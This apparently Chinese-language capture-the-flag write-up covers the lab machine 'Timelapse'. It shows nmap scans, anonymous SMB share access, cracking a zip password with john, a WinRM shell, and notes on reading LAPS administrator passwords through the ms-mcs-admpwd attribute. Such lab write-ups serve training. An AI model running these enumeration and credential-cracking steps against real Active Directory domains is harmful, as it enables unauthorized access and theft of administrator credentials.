┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -p- 10.129.227.113 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-1319:48 EST Nmap scan report for 10.129.227.113 Host is up (0.078s latency). Not shown:65518 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5986/tcp open wsmans 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49695/tcp open unknown
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49695 -sV -sC -A -Pn 10.129.227.113
Nmap scan report for 10.129.227.113 Host is up (0.081s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:2026-01-1408:52:42Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date:2026-01-14T08:54:17+00:00; +7h59m59s from scanner time. | ssl-cert:Subject: commonName=dc01.timelapse.htb | Not valid before:2021-10-25T14:05:29 |_Not valid after:2022-10-25T14:25:29 |_http-title: Not Found | tls-alpn: |_ http/1.1 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49695/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 101903-21H1 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance:2 hops Service Info:Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 181.05 ms 10.10.14.1 281.01 ms 10.129.227.113
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in108.07 seconds
Sharename TypeComment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Defaultshare IPC$ IPC Remote IPC NETLOGON Disk Logon servershare Shares Disk SYSVOL Disk Logon servershare Reconnecting with SMB1 for workgroup listing. do_connect: Connectionto timelapse.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable toconnectwith SMB1 -- no workgroup available
暴露出一个名叫Shares的共享目录,看看能不能访问。
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kaada)-[/home/kali/Desktop] └─# smbclient -N //timelapse.htb/Shares Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Oct 25 11:39:15 2021 .. D 0 Mon Oct 25 11:39:15 2021 Dev D 0 Mon Oct 25 15:40:06 2021 HelpDesk D 0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 1247636 blocks available smb: \>
smb: \HelpDesk\> dir . D 0 Mon Oct 25 11:48:42 2021 .. D 0 Mon Oct 25 11:48:42 2021 LAPS.x64.msi A 1118208 Mon Oct 25 10:57:50 2021 LAPS_Datasheet.docx A 104422 Mon Oct 25 10:57:46 2021 LAPS_OperationsGuide.docx A 641378 Mon Oct 25 10:57:40 2021 LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 10:57:44 2021
6367231 blocks of size 4096. 1226681 blocks available smb: \HelpDesk\>
Windows 本地管理员密码解决方案(Windows LAPS)是一项 Windows 功能,可自动管理和备份已加入 Microsoft Entra 或 Windows Server Active Directory 的设备上的本地管理员帐户的密码。 你还可以使用 Windows LAPS 自动管理和备份 Windows Server Active Directory 域控制器上的目录服务还原模式 (DSRM) 帐户密码。 授权管理员可以检索 DSRM 密码并使用。
使用 Windows LAPS 时的优势
使用 Windows LAPS 定期轮换和管理本地管理员帐户密码,并有以下优势:
防范哈希传递和横向遍历攻击
提高了远程技术支持方案的安全性
能够登录和恢复其他不可访问的设备
细粒度安全模型(访问控制列表和可选的密码加密),用于保护存储在 Windows Server Active Directory 中的密码
支持 Microsoft Entra 基于角色的访问控制模型来保护存储在 Microsoft Entra ID 中的密码
┌──(root㉿kaada)-[/home/kali/Desktop] └─# john --wordlist=rockyou.txt zip.john Usingdefaultinputencoding: UTF-8 Loaded 1password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q'or Ctrl-C toabort, almost any other key for status supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx) 1g 0:00:00:00 DONE (2026-01-1320:03) 4.347g/s 15101Kp/s 15101Kc/s 15101KC/s surkerior..superkebab Use the "--show" optionto display allof the cracked passwords reliably Session completed.
GroupNameType SID Attributes =========================================== ================ ============================================ ================================================== Everyone Well-known groupS-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known groupS-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known groupS-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known groupS-1-5-15 Mandatory group, Enabled by default, Enabled group TIMELAPSE\LAPS_Readers GroupS-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known groupS-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USERCLAIMSINFORMATION -----------------------
Userclaims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\svc_deploy\Documents>
其中有一个身份组非常值得注意
1
TIMELAPSE\LAPS_Readers
根据上面的信息,该身份组可以自动管理和备份已加入 Microsoft Entra 或 Windows Server Active Directory 的设备上的本地管理员帐户的密码。
默认情况下,Get-ADComputer 不会显示扩展属性(如 LAPS 密码)。必须显式指定 'ms-mcs-admpwd' 才能读取该字段,否则即使有权限也看不到